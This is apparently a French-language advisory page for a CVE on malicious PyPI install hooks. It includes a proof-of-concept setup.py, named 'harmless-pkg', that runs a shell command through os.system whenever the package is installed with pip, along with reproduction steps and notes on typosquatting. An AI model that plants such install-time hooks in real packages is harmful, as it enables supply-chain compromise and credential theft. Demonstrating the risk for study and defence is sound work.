CVE-2026-21016 – Hook d'installation de paquet PyPI malveillant (exécution de setup.py)

Code du programme (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Hook d'installation de paquet PyPI malveillant (setup.py)

Aperçu

Un paquet PyPI peut inclure du code arbitraire dans son setup.py, qui est exécuté lors du pip install. Un attaquant peut publier un paquet dont le nom ressemble à celui d'un paquet populaire (typosquatting) et, lors de l'installation, la charge utile s'exécute avec les privilèges de l'utilisateur, conduisant à une exécution de code à distance.

Détails de la vulnérabilité

Type : Attaque de la chaîne d'approvisionnement / Exécution de code
Impact : Compromission du système, vol d'identifiants.
Cause racine : Pip exécute setup.py sans bac à sable, ce qui donne aux paquets un accès complet.

Démonstration de l'exploitation

Créez le répertoire du paquet malveillant avec le setup.py fourni.
Installez-le localement :
```
pip install ./harmless-pkg
```
Vérifiez la sortie :
```
cat /tmp/pwned_by_package
```

La commande id a été exécutée.

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

Populaires